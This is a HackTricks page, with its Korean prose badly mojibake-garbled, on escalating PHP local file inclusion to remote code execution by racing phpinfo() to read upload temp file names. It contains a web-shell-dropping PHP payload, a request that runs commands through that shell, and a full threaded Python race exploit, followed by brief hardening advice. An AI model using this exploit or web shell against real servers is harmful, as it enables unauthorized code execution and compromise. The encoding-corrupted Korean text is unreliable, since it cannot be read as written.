LFI to RCE via PHPInfo
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๊ธฐ๋ฒ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์ ํญ๋ชฉ์ ๋ชจ๋ ์ถฉ์กฑํด์ผ ํฉ๋๋ค:
- phpinfo() ์ถ๋ ฅ์ ๋ณด์ฌ์ฃผ๋ ์ ๊ทผ ๊ฐ๋ฅํ ํ์ด์ง.
- ์ ์ด ๊ฐ๋ฅํ Local File Inclusion (LFI) primitive (์: ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ํ include/require).
- PHP ํ์ผ ์ ๋ก๋๊ฐ ํ์ฑํ๋์ด ์์ด์ผ ํจ (file_uploads = On). ๋ชจ๋ PHP ์คํฌ๋ฆฝํธ๋ RFC1867 multipart ์ ๋ก๋๋ฅผ ์์ฉํ๊ณ ์ ๋ก๋๋ ๊ฐ ํํธ์ ๋ํด ์์ ํ์ผ์ ์์ฑํฉ๋๋ค.
- PHP ์์ปค๊ฐ ์ค์ ๋ upload_tmp_dir(๋๋ ๊ธฐ๋ณธ ์์คํ ์์ ๋๋ ํ ๋ฆฌ)์ ์ธ ์ ์์ด์ผ ํ๋ฉฐ, LFI๊ฐ ํด๋น ๊ฒฝ๋ก๋ฅผ includeํ ์ ์์ด์ผ ํฉ๋๋ค.
ํด๋์ write-up ๋ฐ ์๋ณธ PoC:
- ๋ฐฑ์: LFI with PHPInfo() Assistance (B. Moore, 2011)
- ์๋ณธ PoC ์คํฌ๋ฆฝํธ ์ด๋ฆ: phpinfolfi.py (๋ฐฑ์ ๋ฐ ๋ฏธ๋ฌ ์ฐธ์กฐ)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
์๋ณธ PoC์ ๋ํ ์ฃผ์ ์ฌํญ
- phpinfo() ์ถ๋ ฅ์ HTML๋ก ์ธ์ฝ๋ฉ๋์ด ์์ด โ=>โ ํ์ดํ๊ฐ ์ข ์ข โ=>โ๋ก ํ์๋ฉ๋๋ค. ๋ ๊ฑฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฌ์ฉํ๋ ๊ฒฝ์ฐ, _FILES[tmp_name] ๊ฐ์ ํ์ฑํ ๋ ๋ ์ธ์ฝ๋ฉ์ ๋ชจ๋ ๊ฒ์ํ๋๋ก ํ์ธ์.
- payload(๋น์ ์ PHP ์ฝ๋), REQ1(ํจ๋ฉ์ ํฌํจํ phpinfo() ์๋ํฌ์ธํธ์ ๋ํ ์์ฒญ), ๊ทธ๋ฆฌ๊ณ LFIREQ(LFI sink์ ๋ํ ์์ฒญ)๋ฅผ ๋์์ ๋ง๊ฒ ์กฐ์ ํด์ผ ํฉ๋๋ค. ์ผ๋ถ ๋์์ null-byte (%00) terminator๊ฐ ํ์ํ์ง ์์ผ๋ฉฐ ์ต์ PHP ๋ฒ์ ์ ์ด๋ฅผ ๋ฌด์ํฉ๋๋ค. ์ทจ์ฝํ sink์ ๋ง๊ฒ LFIREQ๋ฅผ ์กฐ์ ํ์ธ์.
HTML๋ก ์ธ์ฝ๋ฉ๋ ํ์ดํ๋ฅผ ๋งค์นํ๊ธฐ ์ํ ์์ sed(์ค๋๋ Python2 PoC๋ฅผ ์ค์ ๋ก ์ฌ์ฉํ๋ ๊ฒฝ์ฐ์๋ง):
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Theory
- PHP๊ฐ multipart/form-data POST๋ก file field๋ฅผ ๋ฐ์ผ๋ฉด, ๋ด์ฉ์ ์์ ํ์ผ(upload_tmp_dir ๋๋ OS default)์ ๊ธฐ๋กํ๊ณ ๊ฒฝ๋ก๋ฅผ $_FILES[โ
โ][โtmp_nameโ]์ ๋ ธ์ถํฉ๋๋ค. ํด๋น ํ์ผ์ ์ด๋/์ด๋ฆ ๋ณ๊ฒฝ๋์ง ์์ผ๋ฉด ์์ฒญ ๋์ ์๋์ผ๋ก ์ ๊ฑฐ๋ฉ๋๋ค. - ์์ ์ ์์ ์ด๋ฆ์ ์์๋ด์ด PHP๊ฐ ์ ๋ฆฌํ๊ธฐ ์ ์ LFI๋ก ํฌํจ์ํค๋ ๊ฒ์ ๋๋ค. phpinfo()๋ $_FILES๋ฅผ ์ถ๋ ฅํ๋ฉฐ tmp_name์ ํฌํจํฉ๋๋ค.
- ์์ฒญ ํค๋/ํ๋ผ๋ฏธํฐ๋ฅผ ๋ถํ๋ ค(padding) phpinfo() ์ถ๋ ฅ์ ์ด๊ธฐ ์ฒญํฌ๋ฅผ ์์ฒญ์ด ๋๋๊ธฐ ์ ์ ํด๋ผ์ด์ธํธ๋ก ํ๋ฌ์ํ๊ฒ ๋ง๋ค๋ฉด, ์์ ํ์ผ์ด ์ฌ์ ํ ์กด์ฌํ๋ ๋์ tmp_name์ ์ฝ๊ณ ์ฆ์ ๊ทธ ๊ฒฝ๋ก๋ก LFI๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค.
In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
Attack workflow (step by step)
- ๋ ์ด์ค์์ ์ง์ง ์๋๋ก ๋น ๋ฅด๊ฒ shell์ ์ง์์ํค๋ ์์ PHP payload๋ฅผ ์ค๋นํฉ๋๋ค (ํ์ผ์ ์ฐ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ผ๋ก reverse shell์ ๊ธฐ๋ค๋ฆฌ๋ ๊ฒ๋ณด๋ค ๋น ๋ฆ ๋๋ค):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
phpinfo() ํ์ด์ง๋ก ๋์ฉ๋ multipart POST๋ฅผ ์ง์ ์ ์กํ์ฌ ํ์ด๋ก๋๊ฐ ํฌํจ๋ ์์ ํ์ผ์ด ์์ฑ๋๊ฒ ํ๋ค. ์กฐ๊ธฐ ์ถ๋ ฅ์ ์ ๋ํ๊ธฐ ์ํด ์ฌ๋ฌ ํค๋/์ฟ ํค/ํ๋ผ๋ฏธํฐ๋ฅผ ์ฝ 5โ10KB ์ ๋์ ํจ๋ฉ์ผ๋ก ๋ถํ๋ ค๋ผ. form ํ๋ ์ด๋ฆ์ด $_FILES์์ ํ์ฑํ ์ด๋ฆ๊ณผ ์ผ์นํ๋์ง ํ์ธํ๋ผ.
-
phpinfo() ์๋ต์ด ์์ง ์คํธ๋ฆฌ๋ฐ ์ค์ผ ๋, ๋ถ๋ถ์ ์ผ๋ก ์์ ๋ ๋ฐ๋๋ฅผ ํ์ฑํด $_FILES[โ
โ][โtmp_nameโ] (HTML-encoded)๋ฅผ ์ถ์ถํ๋ผ. ์ ์ฒด ์ ๋ ๊ฒฝ๋ก(์: /tmp/php3Fz9aB)๋ฅผ ํ๋ณดํ์๋ง์ ํด๋น ๊ฒฝ๋ก๋ฅผ ํฌํจํ๋๋ก LFI๋ฅผ ๋ฐ๋์์ผ๋ผ. include()๊ฐ ์์ ํ์ผ์ด ์ญ์ ๋๊ธฐ ์ ์ ์คํ๋๋ฉด ํ์ด๋ก๋๊ฐ ์คํ๋์ด /tmp/.p.php๊ฐ ์์ฑ๋๋ค. -
์์ฑ๋ ํ์ผ์ ์ฌ์ฉํ๋ผ: GET /vuln.php?include=/tmp/.p.php&x=id (๋๋ LFI๋ก ํฌํจํ ์ ์๋ ๊ฒฝ๋ก)๋ก ๋ช ๋ น์ ์์ ์ ์ผ๋ก ์คํํ ์ ์๋ค.
ํ
- ๋ ์ด์ค์์ ์ด๊ธธ ํ๋ฅ ์ ๋์ด๋ ค๋ฉด ์ฌ๋ฌ ๋ณ๋ ฌ ์์ปค(workers)๋ฅผ ์ฌ์ฉํ๋ผ.
- ์ผ๋ฐ์ ์ผ๋ก ๋์์ด ๋๋ ํจ๋ฉ ์์น: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. ๋์์ ๋ง๊ฒ ์กฐ์ ํ๋ผ.
- ์ทจ์ฝํ sink๊ฐ ํ์ฅ์(์: .php)๋ฅผ ๋ง๋ถ์ธ๋ค๋ฉด null byte๋ ํ์ ์๋ค; include()๋ ์์ ํ์ผ ํ์ฅ์์ ๊ด๊ณ์์ด PHP๋ฅผ ์คํํ๋ค.
Minimal Python 3 PoC (socket-based)
์๋ ์ค๋ํซ์ ํต์ฌ ๋ถ๋ถ์๋ง ์ด์ ์ ๋ง์ถ์ด legacy Python2 ์คํฌ๋ฆฝํธ๋ณด๋ค ์์ ํ๊ธฐ ์ฝ๋ค. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), ๋ฐ PAYLOAD๋ฅผ ์ปค์คํฐ๋ง์ด์ฆํ๋ผ.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
๋ฌธ์ ํด๊ฒฐ
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnโt flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wonโt flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
๋ฐฉ์ด์์ ์ฃผ์์ฌํญ
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFIโRCE paths exist.
๊ด๋ จ HackTricks ๊ธฐ๋ฒ
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
์ฐธ๊ณ ์๋ฃ
- LFI With PHPInfo() Assistance whitepaper (2011) โ Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual โ POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


